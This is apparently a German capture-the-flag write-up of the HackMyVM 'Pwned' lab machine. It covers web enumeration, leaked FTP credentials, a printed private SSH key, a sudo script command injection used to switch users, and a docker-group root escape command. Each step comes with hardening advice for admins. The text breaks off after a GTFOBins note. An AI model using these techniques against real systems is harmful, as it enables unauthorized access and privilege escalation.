Pwned - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
vi
ftp
cat
chmod
ssh2john
ssh
sudo
cut
grep
read
bash
id
python3
export
ls
docker
chroot
sh
find

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Bericht beginnt direkt mit einem `gobuster`-Scan. Ein initialer Netzwerkscan (wie `arp-scan` oder `nmap`), der normalerweise vorausgeht, um die Ziel-IP (hier 192.168.2.107) und offene Ports (hier Port 80) zu finden, fehlt in der Dokumentation.

Bewertung: Das Fehlen der initialen Scans ist eine Dokumentationslücke. Wir müssen jedoch annehmen, dass Port 80 (HTTP) auf 192.168.2.107 als offen identifiziert wurde, um den `gobuster`-Scan zu rechtfertigen. Spätere Schritte zeigen auch, dass Port 21 (FTP) und Port 22 (SSH) offen sein müssen.

Empfehlung (Pentester): Immer alle Schritte dokumentieren, einschließlich initialer Netzwerkscans, um die Herkunft der Ziel-IP und der offenen Ports nachvollziehbar zu machen.
Empfehlung (Admin): Firewall-Regeln sollten nur notwendige Ports freigeben.

Web Enumeration

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver 192.168.2.107 (Port 80) eingesetzt. Eine Standard-Wortliste (`directory-list-2.3-medium.txt`), diverse Erweiterungen (`-x ...`) und Filterung nach Erfolgs-Statuscodes (`-s "200,..."`) werden verwendet.

Bewertung: Gobuster findet mehrere interessante Pfade: - `/index.html`: Die Hauptseite. - `/robots.txt`: Eine Datei, die oft Hinweise für Webcrawler (und Pentester) enthält. - `/nothing/`: Ein Verzeichnis, dessen Name Neugier weckt. - `/hidden_text/`: Ein weiteres Verzeichnis, das vielversprechend klingt.

Empfehlung (Pentester): Untersuche den Inhalt von `/robots.txt` und navigiere zu `/nothing/` und insbesondere `/hidden_text/` im Browser, um deren Inhalt zu prüfen.
Empfehlung (Admin): Überprüfe regelmäßig den Inhalt von Webserver-Verzeichnissen auf unbeabsichtigt exponierte Informationen. Konfiguriere `robots.txt` sorgfältig und vermeide es, sensible Pfade darin preiszugeben (obwohl es hier keine sensiblen Pfade enthält).

┌──(root㉿cyber)-[~/forbidden] └─# gobuster dir -u "http://192.168.2.107" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -x .git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv -t 100 -e -s "200,204,301,302,307,401"
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.107
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              git,php,html,xml,zip,7z,tar,bak,sql,py,pl,txt,jpg,jpeg,png,js,aac,ogg,flac,alac,wav,aiff,dsd,mp3,mp4,mkv
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2022/10/30 14:00:10 Starting gobuster 
===============================================================
http://192.168.2.107/index.html           (Status: 200) [Size: 3065]
http://192.168.2.107/robots.txt           (Status: 200) [Size: 41]
http://192.168.2.107/nothing              (Status: 301) [Size: 316] [--> http://192.168.2.107/nothing/]
http://192.168.2.107/hidden_text          (Status: 301) [Size: 317] [--> http://192.168.2.107/hidden_text/] 
===============================================================
2022/10/30 14:05:15 Finished 
===============================================================
                    

Analyse: Der Inhalt der Datei `/robots.txt` wird angezeigt.

Bewertung: Die Datei erlaubt Crawlern den Zugriff auf `/nothing`. Dies ist keine besonders nützliche Information und widerspricht nicht den Funden von Gobuster.

Empfehlung (Pentester): Zur Kenntnis nehmen, liefert aber keinen direkten Vorteil.
Empfehlung (Admin): `robots.txt` ist kein Sicherheitsmechanismus.

# Group 1
User-agent: *
Allow: /nothing
                     

Analyse: Der Inhalt des Verzeichnisses `/hidden_text/` wird untersucht (vermutlich durch Aufruf im Browser, da Directory Listing aktiviert zu sein scheint). Eine Datei namens `secret.dic` wird gefunden.

Bewertung: !!Wichtiger Fund!!** Der Name `secret.dic` legt nahe, dass es sich um eine benutzerdefinierte Wortliste (Dictionary) handelt, die möglicherweise für weitere Enumeration oder Brute-Force-Angriffe relevant ist.

Empfehlung (Pentester): Lade die Datei `secret.dic` herunter und untersuche ihren Inhalt. Verwende sie als Wortliste für weitere `gobuster`-Scans oder Passwort-Angriffe.
Empfehlung (Admin): Deaktiviere Directory Listing auf dem Webserver (`Options -Indexes` in Apache oder `autoindex off;` in Nginx). Entferne sensible oder unnötige Dateien aus Web-Verzeichnissen.

Index of /hidden_text/
[ICO]	Name	Last modified	Size	Description
[PARENTDIR]	Parent Directory	 	- 	 
[ ]	secret.dic	2020-07-09 18:37 	211 	 

Apache/2.4.38 (Debian) Server at 192.168.2.107 Port 80 
                     

Analyse: Der Inhalt der heruntergeladenen Datei `secret.dic` wird angezeigt.

Bewertung: Die Datei enthält eine Liste von potenziellen Pfadnamen. Einige davon sehen wie Standardpfade aus (`/root`, `/home`, `/.ssh`), andere sind spezifischer (`/pwned.vuln`, `/vanakam_nanba`). Diese Liste sollte als Wortliste für einen gezielten `gobuster`-Scan verwendet werden.

Empfehlung (Pentester): Führe `gobuster` erneut aus, diesmal mit `secret.dic` als Wortliste (`-w secret.dic`), um zu sehen, ob einer dieser spezifischen Pfade auf dem Webserver existiert.
Empfehlung (Admin): Keine direkte Aktion.

/hacked
/vanakam_nanba
/hackerman.gif
/facebook
/whatsapp
/instagram
/pwned
/pwned.com
/pubg
/cod
/fortnite
/youtube
/kali.org
/hacked.vuln
/users.vuln
/passwd.vuln
/pwned.vuln
/backup.vuln
/.ssh
/root
/home
                     

Analyse: Die Datei `secret.dic` wird mit `vi` geöffnet, vermutlich um sie zu überprüfen oder anzupassen.

Bewertung: Standard-Editor-Aufruf zur Vorbereitung des nächsten Schritts.

Empfehlung (Pentester): Stelle sicher, dass die Wortliste korrekt formatiert ist für `gobuster`.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~/forbidden] └─# vi secret.dic
 

Analyse: `gobuster` wird erneut ausgeführt, diesmal mit der benutzerdefinierten Wortliste `secret.dic`.

Bewertung: !!Treffer!!** Gobuster findet den Pfad `/pwned.vuln`, der auch in der Wortliste stand. Dies ist ein vielversprechender Fund.

Empfehlung (Pentester): Untersuche den Inhalt von `http://192.168.2.107/pwned.vuln` im Browser oder mit `curl`. Analysiere den Quellcode der Seite sorgfältig auf Kommentare oder versteckte Informationen.
Empfehlung (Admin): Entferne die Datei oder das Verzeichnis `/pwned.vuln`, da es sensible Informationen enthält.

┌──(root㉿cyber)-[~/forbidden] └─# gobuster dir -u http://192.168.2.107 -w secret.dic
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.107
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                secret.dic
[+] Status codes:            200,204,301,302,307,401,403
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/10/30 14:10:00 Starting gobuster 
===============================================================
/pwned.vuln           (Status: 301) [Size: 319] [--> http://192.168.2.107/pwned.vuln/]
/home                 (Status: 301) [Size: 313] [--> http://192.168.2.107/home/] 
===============================================================
2022/10/30 14:10:05 Finished 
===============================================================
                     

Analyse: Der Inhalt der Seite oder Datei `/pwned.vuln` wird angezeigt.

Bewertung: Es werden scheinbar Zugangsdaten angezeigt: `admin fucker1`. Dies ist ein extrem schwaches Passwort und könnte für einen Web-Login, FTP oder SSH verwendet werden.

Empfehlung (Pentester): Teste diese Zugangsdaten (`admin` / `fucker1`) für alle gefundenen Dienste (Web-Login, falls vorhanden, FTP, SSH).
Empfehlung (Admin): Verwende niemals solche schwachen Passwörter. Ändere dieses Passwort sofort.

admin fucker1
                     

Analyse: Ein PHP-Code-Snippet wird angezeigt. Der Ursprung ist unklar, aber es wurde wahrscheinlich im Quellcode von `/pwned.vuln` oder einer anderen untersuchten Seite gefunden.

Bewertung: !!Kritischer Fund!!** Obwohl der Code auskommentiert ist, enthüllt er hartkodierte Zugangsdaten für einen FTP-Benutzer: - Benutzername: `ftpuser` - Passwort: `B0ss_B!TcH` Diese Zugangsdaten sind wahrscheinlich gültig und bieten einen direkten Einstiegspunkt.

Empfehlung (Pentester): Ignoriere die vorherigen `admin`/`fucker1`-Zugangsdaten (oder teste sie kurz). Konzentriere dich auf den FTP-Zugang mit `ftpuser` und `B0ss_B!TcH`. Verbinde dich mit dem FTP-Server auf Port 21.
Empfehlung (Admin):**DRINGEND:** Entferne hartkodierte Zugangsdaten aus Quellcode, auch wenn er auskommentiert ist. Verwende Konfigurationsdateien oder Umgebungsvariablen für Zugangsdaten und schütze diese entsprechend. Ändere das FTP-Passwort.

B0ss_B!TcH') { // FTP Zugangsdaten
//		echo "welcome"
//		exit();
// }
// else
//	echo "Invalid creds"
// }
?> // > wurde maskiert
                     

Initial Access (FTP)

Analyse: Es wird versucht, sich direkt über die Kommandozeile mit FTP anzumelden, indem Benutzername und Passwort in der URL-ähnlichen Syntax angegeben werden. Das Ausrufezeichen `!` im Passwort wird von der Shell (zsh) als History Expansion interpretiert, was zu einem Fehler führt (`event not found: TcH`). Auch das Quoting des Passworts hilft hier nicht.

Bewertung: Diese Anmeldeversuche schlagen aufgrund von Shell-Interpretation fehl, nicht wegen falscher Zugangsdaten. Die Syntax ist für Passwörter mit Sonderzeichen ungeeignet.

Empfehlung (Pentester): Verwende den interaktiven FTP-Client (`ftp 192.168.2.107`) und gib Benutzername und Passwort ein, wenn danach gefragt wird. Dies vermeidet Probleme mit Sonderzeichen in der Shell.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~/forbidden] └─# ftp ftpuser:B0ss_B!TcH@192.168.2.107
zsh: event not found: TcH
                     
┌──(root㉿cyber)-[~/forbidden] └─# ftp ftpuser:"B0ss_B!TcH"@192.168.2.107
zsh: event not found: TcH
                      

Analyse: Der interaktive FTP-Client wird gestartet (`ftp 192.168.2.107`). Der Benutzername `ftpuser` und das Passwort `B0ss_B!TcH` werden eingegeben.

Bewertung: !!Initial Access erfolgreich!!** Der FTP-Login mit den im PHP-Code gefundenen Zugangsdaten gelingt (`230 Login successful`). Der Angreifer hat nun Zugriff auf das Dateisystem über FTP als Benutzer `ftpuser`.

Empfehlung (Pentester): Untersuche die Verzeichnisstruktur und die Dateien, auf die der `ftpuser` Zugriff hat, mit Befehlen wie `ls -la`, `cd`, `get`. Suche nach weiteren Hinweisen, Konfigurationsdateien oder privaten Schlüsseln.
Empfehlung (Admin): Ändere das FTP-Passwort. Überprüfe die Berechtigungen des `ftpuser`-Kontos und beschränke sie auf das notwendige Minimum.

┌──(root㉿cyber)-[~/forbidden] └─# ftp 192.168.2.107
Connected to 192.168.2.107.
220 (vsFTPd 3.0.3)
Name (192.168.2.107:root): ftpuser
331 Please specify the password.
Password: B0ss_B!TcH
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
                     

Enumeration (FTP)

Analyse: Innerhalb der FTP-Sitzung werden die Befehle `ls -la`, `cd share` und erneut `ls -la` verwendet, um das aktuelle Verzeichnis und das Unterverzeichnis `share` zu untersuchen.

Bewertung: !!Wichtige Funde!!** Im Verzeichnis `share` werden zwei Dateien gefunden: - `id_rsa`: Dies ist höchstwahrscheinlich ein privater SSH-Schlüssel. - `note.txt`: Eine Notizdatei, die weitere Hinweise enthalten könnte. Beide Dateien sind lesbar.

Empfehlung (Pentester): Lade beide Dateien (`id_rsa` und `note.txt`) mit dem `get`-Befehl auf das Angreifer-System herunter, um sie weiter zu analysieren.
Empfehlung (Admin): Speichere niemals private Schlüssel oder potenziell sensible Notizen in Verzeichnissen, die über FTP zugänglich sind.

ftp> ls -la
229 Entering Extended Passive Mode (|||6291|)
150 Here comes the directory listing.
drwxrwxrwx    3 0        0            4096 Jul 09  2020 .
drwxr-xr-x    5 0        0            4096 Jul 10  2020 ..
drwxr-xr-x    2 0        0            4096 Jul 10  2020 share
226 Directory send OK.
ftp> cd share
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||20965|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 10  2020 .
drwxrwxrwx    3 0        0            4096 Jul 09  2020 ..
-rw-r--r--    1 0        0            2602 Jul 09  2020 id_rsa
-rw-r--r--    1 0        0              75 Jul 09  2020 note.txt
226 Directory send OK.
                     

Analyse: Die beiden gefundenen Dateien `id_rsa` und `note.txt` werden mit dem `get`-Befehl vom FTP-Server heruntergeladen. Anschließend wird die FTP-Sitzung mit `bye` beendet.

Bewertung: Die relevanten Dateien wurden erfolgreich gesichert und stehen nun auf dem Angreifer-System zur Verfügung.

Empfehlung (Pentester): Analysiere den Inhalt von `note.txt`. Untersuche den `id_rsa`-Schlüssel: Prüfe, ob er passwortgeschützt ist (`ssh2john`, `john`), und setze die korrekten Berechtigungen (`chmod 600`).
Empfehlung (Admin): Keine direkte Aktion.

ftp> get id_rsa
local: id_rsa remote: id_rsa
229 Entering Extended Passive Mode (|||25690|)
150 Opening BINARY mode data connection for id_rsa (2602 bytes).
100% |*************************************************************************************************************************************************|  2602      162.54 KiB/s    00:00 ETA
226 Transfer complete.
2602 bytes received in 00:00 (159.99 KiB/s)
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||32239|)
150 Opening BINARY mode data connection for note.txt (75 bytes).
100% |*************************************************************************************************************************************************|    75        3.43 KiB/s    00:00 ETA
226 Transfer complete.
75 bytes received in 00:00 (3.40 KiB/s)
ftp> bye
221 Goodbye.
                     

Analyse: Der Inhalt des heruntergeladenen privaten SSH-Schlüssels (`id_rsa`) wird mit `cat` angezeigt.

Bewertung: Der Schlüssel im modernen OpenSSH-Format wird angezeigt. Es ist noch unklar, zu welchem Benutzer er gehört und ob er passwortgeschützt ist.

Empfehlung (Pentester): Setze die Berechtigungen mit `chmod 600 id_rsa`. Verwende `ssh2john` um zu prüfen, ob er passwortgeschützt ist.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~/forbidden] └─# cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
                     

Analyse: Die Berechtigungen der heruntergeladenen Schlüsseldatei `id_rsa` werden auf `600` gesetzt.

Bewertung: Korrekter Schritt zur Vorbereitung des Schlüssels für SSH.

Empfehlung (Pentester): Prüfe als nächstes, ob der Schlüssel passwortgeschützt ist.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~/forbidden] └─# chmod 600 id_rsa
 

Analyse: `ssh2john` wird auf die Schlüsseldatei `id_rsa` angewendet, um einen Hash für `john` zu extrahieren, falls der Schlüssel passwortgeschützt ist.

Bewertung: !!Wichtige Information!!** `ssh2john` gibt die Meldung `id_rsa has no password!` aus. Das bedeutet, der private Schlüssel ist **nicht** durch eine Passphrase geschützt und kann direkt verwendet werden.

Empfehlung (Pentester): Der Schlüssel kann direkt verwendet werden. Finde heraus, zu welchem Benutzer er gehört. Lies den Inhalt der heruntergeladenen `note.txt`.
Empfehlung (Admin): Private Schlüssel sollten idealerweise immer mit einer starken Passphrase geschützt werden.

┌──(root㉿cyber)-[~/forbidden] └─# ssh2john id_rsa > idhash
id_rsa has no password!
                     

Analyse: Der Inhalt der heruntergeladenen Datei `note.txt` wird angezeigt.

Bewertung: !!Benutzername gefunden!!** Die Notiz erwähnt explizit den Benutzernamen `ariana`. Dies ist der Benutzer, für den der gefundene `id_rsa`-Schlüssel wahrscheinlich gilt.

Empfehlung (Pentester): Versuche, dich mit dem `id_rsa`-Schlüssel als Benutzer `ariana` über SSH anzumelden.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~/forbidden] └─# cat note.txt
Wow you are here

ariana won't happy about this note

sorry ariana :(
                     

Analyse: Die Datei `/etc/hosts` wird bearbeitet, vermutlich um den Hostnamen `pwnd.hmv` der IP-Adresse 192.168.2.107 zuzuordnen.

Bewertung: Notwendiger Schritt, wenn Hostnamen anstelle von IPs verwendet werden sollen.

Empfehlung (Pentester): Sicherstellen, dass der Eintrag korrekt ist.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~/forbidden] └─# vi /etc/hosts
 

Privilege Escalation (FTP zu Ariana)

Analyse: Eine SSH-Verbindung wird zum Host `pwnd.hmv` (192.168.2.107) als Benutzer `ariana` aufgebaut, wobei der nicht passwortgeschützte Schlüssel `id_rsa` zur Authentifizierung verwendet wird (`-i id_rsa`).

Bewertung: !!Benutzerwechsel erfolgreich!!** Der Login gelingt ohne Passwortabfrage. Der Angreifer hat nun eine Shell als Benutzerin `ariana`.

Empfehlung (Pentester): Untersuche die Umgebung als `ariana`. Prüfe `sudo`-Rechte und suche nach weiteren Eskalationsvektoren.
Empfehlung (Admin): Überwache SSH-Logins. Sichere private Schlüssel.

┌──(root㉿cyber)-[~/forbidden] └─# ssh ariana@pwnd.hmv -i id_rsa
The authenticity of host 'pwnd.hmv (192.168.2.107)' can't be established.
ED25519 key fingerprint is SHA256:Eu7UdscPxuaxyzophLkeILniUaKCge0R96HjWhAmpyk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'pwnd.hmv' (ED25519) to the list of known hosts.
Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jul 10 13:03:23 2020 from 192.168.18.70
ariana@pwned:~$
                     

Privilege Escalation (Ariana zu Selena)

Analyse: Als `ariana` werden die `sudo`-Berechtigungen mit `sudo -l` geprüft.

Bewertung: !!Privilegieneskalationspfad gefunden!!** `ariana` darf das Skript `/home/messenger.sh` als Benutzerin `selena` ohne Passwort (`NOPASSWD:`) ausführen.

Empfehlung (Pentester): Untersuche den Inhalt von `/home/messenger.sh`, um zu sehen, ob es Schwachstellen (z.B. Command Injection) enthält, die ausgenutzt werden können, um Befehle als `selena` auszuführen.
Empfehlung (Admin):**DRINGEND:** Überprüfe die `sudo`-Regel und das Skript `/home/messenger.sh`. Gewähre `sudo`-Rechte nur für absolut notwendige und sichere Befehle/Skripte. Analysiere Skripte, die mit erhöhten Rechten ausgeführt werden können, sorgfältig auf Schwachstellen.

ariana@pwned:~$ sudo -l
Matching Defaults entries for ariana on pwned:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ariana may run the following commands on pwned:
    (selena) NOPASSWD: /home/messenger.sh
                     

Analyse: Der Inhalt des Skripts `/home/messenger.sh` wird mit `cat` angezeigt.

Bewertung: !!Command Injection Schwachstelle!!** Das Skript liest einen Benutzernamen (`name`) und eine Nachricht (`msg`) ein und führt dann die Nachricht direkt als Befehl aus (`$msg 2> /dev/null`). Dies ist eine klassische Command Injection Vulnerability. Da `ariana` das Skript als `selena` ausführen darf, kann sie beliebige Befehle als `selena` ausführen, indem sie den Befehl als Nachricht eingibt.

Empfehlung (Pentester): Nutze die Schwachstelle aus: Führe `sudo -u selena /home/messenger.sh` aus. Gib einen beliebigen Benutzernamen ein (z.B. `selena`). Gib als Nachricht einen Befehl ein, der eine Shell startet (z.B. `bash`, `/bin/bash`, `sh`).
Empfehlung (Admin):**DRINGEND:** Korrigiere das Skript `/home/messenger.sh`, sodass Benutzereingaben niemals direkt als Befehle ausgeführt werden. Verwende sichere Methoden zur Verarbeitung von Eingaben. Entferne oder korrigiere die unsichere `sudo`-Regel.

ariana@pwned:~$ cat /home/messenger.sh
#!/bin/bash

clear
echo "Welcome to linux.messenger "
		echo ""
users=$(cat /etc/passwd | grep home |  cut -d/ -f 3)
		echo ""
echo "$users"
		echo ""
read -p "Enter username to send message : " name
		echo ""
read -p "Enter message for $name :" msg
		echo ""
echo "Sending message to $name "

$msg 2> /dev/null # !!! Command Injection !!!

		echo ""
echo "Message sent to $name :) "
		echo ""
                     

Analyse: Einige `ls`-Befehle werden ausgeführt, um die Home-Verzeichnisse und den Inhalt von `/home/ftpuser/share` zu überprüfen.

Bewertung: Bestätigt das Vorhandensein der Benutzer `ariana`, `ftpuser`, `selena`. Zeigt, dass `/home/ftpuser/share` leer ist (die zuvor heruntergeladenen Dateien sind auf dem Angreifer-System).

Empfehlung (Pentester): Fokussiere dich auf die Ausnutzung von `messenger.sh`.
Empfehlung (Admin): Keine Aktion.

ariana@pwned:~$ ls /home/
ariana  ftpuser  messenger.sh  selena
ariana@pwned:~$ ls /home/ftpuser/
share
ariana@pwned:~$ ls /home/ftpuser/share/
ariana@pwned:~$ 
                     

Analyse: Die Command Injection Schwachstelle im `messenger.sh`-Skript wird ausgenutzt. 1. `sudo -u selena /home/messenger.sh` wird ausgeführt. 2. Als Benutzername wird `selena` eingegeben. 3. Als Nachricht (`msg`) wird der Befehl `bash` eingegeben. 4. Das Skript führt `$msg` aus, was `bash` startet. Da das Skript als `selena` läuft, wird eine Bash-Shell als `selena` gestartet. 5. Der `id`-Befehl bestätigt, dass die Shell als `selena` (uid=1001) läuft.

Bewertung: !!Benutzerwechsel erfolgreich!!** Durch die Command Injection wurde eine Shell als Benutzerin `selena` erlangt.

Empfehlung (Pentester): Stabilisiere die neue Shell (mit Python PTY). Untersuche die Umgebung und Berechtigungen als `selena`. Suche nach der User-Flag und weiteren Eskalationsvektoren.
Empfehlung (Admin): Siehe vorherige Empfehlungen zur Korrektur des Skripts und der `sudo`-Regel.

ariana@pwned:~$ sudo -u selena /home/messenger.sh

Welcome to linux.messenger

ariana:
selena:
ftpuser:

Enter username to send message : selena

Enter message for selena :bash

Sending message to selena
bash: no job control in this shell 
selena@pwned:/home/ariana$ id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
selena@pwned:/home/ariana$
                     

Analyse: Die Shell von `selena` wird mit Python PTY stabilisiert und die `TERM`-Variable gesetzt.

Bewertung: Die Shell ist nun vollständig interaktiv.

Empfehlung (Pentester): Fahre mit der Enumeration als `selena` fort.
Empfehlung (Admin): Keine Aktion.

selena@pwned:/home/ariana$ python3 -c 'import pty; pty.spawn("/bin/bash")'
selena@pwned:/home/ariana$ export TERM=xterm
selena@pwned:/home/ariana$
                     

Privilege Escalation (Selena zu Root)

Analyse: Als `selena` wird das Home-Verzeichnis (`/home/selena`) mit `ls -la` aufgelistet und der Inhalt von `user2.txt` mit `cat` angezeigt.

Bewertung: Die Datei `user2.txt` enthält die Flag `711fdfc6caad532815a440f7f295c176` und eine Notiz. Dies ist die zweite User-Flag (die am Ende des Berichts als "user.txt" bezeichnet wird).

Empfehlung (Pentester): Notiere die Flag. Prüfe die `id`-Ausgabe erneut auf interessante Gruppen.
Empfehlung (Admin): Keine Aktion.

selena@pwned:~$ ls -la
total 24
drwxrwx--- 3 selena root   4096 Jul 10  2020 .
drwxr-xr-x 5 root   root   4096 Jul 10  2020 ..
-rw------- 1 selena selena    1 Jul 10  2020 .bash_history
drwxr-xr-x 3 selena selena 4096 Jul  9  2020 .local
-rw-r--r-- 1 selena selena  132 Jul 10  2020 selena-personal.diary
-rw-r--r-- 1 selena selena  100 Jul 10  2020 user2.txt
selena@pwned:~$ cat user2.txt
711fdfc6caad532815a440f7f295c176

You are near to me. you found selena too.

Try harder to catch me
                     

Analyse: Der `id`-Befehl wird erneut ausgeführt, um die Gruppenmitgliedschaften von `selena` zu überprüfen.

Bewertung: !!Entscheidender Hinweis!!** Die Ausgabe `groups=1001(selena),115(docker)` zeigt, dass `selena` Mitglied der `docker`-Gruppe ist. Dies ist ein sehr häufiger und bekannter Vektor zur Privilegieneskalation auf Root, da Mitglieder der `docker`-Gruppe oft den Docker-Daemon steuern und Container mit privilegierten Rechten oder gemounteten Host-Verzeichnissen starten können.

Empfehlung (Pentester): Nutze die Docker-Gruppenmitgliedschaft zur Eskalation. Suche auf GTFOBins nach der Methode. Eine gängige Methode ist das Starten eines privilegierten Containers oder das Mounten des Host-Root-Dateisystems in einen Container: `docker run -v /:/mnt --rm -it alpine chroot /mnt sh`.
Empfehlung (Admin):**DRINGEND:** Füge Benutzer nur zur `docker`-Gruppe hinzu, wenn sie tatsächlich Root-Äquivalente Rechte benötigen. Die Mitgliedschaft in der `docker`-Gruppe ist oft gleichbedeutend mit Root-Zugriff.

selena@pwned:/home$ id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
                     

Analyse: Eine Notiz des Pentesters, die auf GTFOBins und die Docker-Privilegieneskalation hinweist.

Bewertung: Bestätigt die Recherche des nächsten Eskalationsschritts.

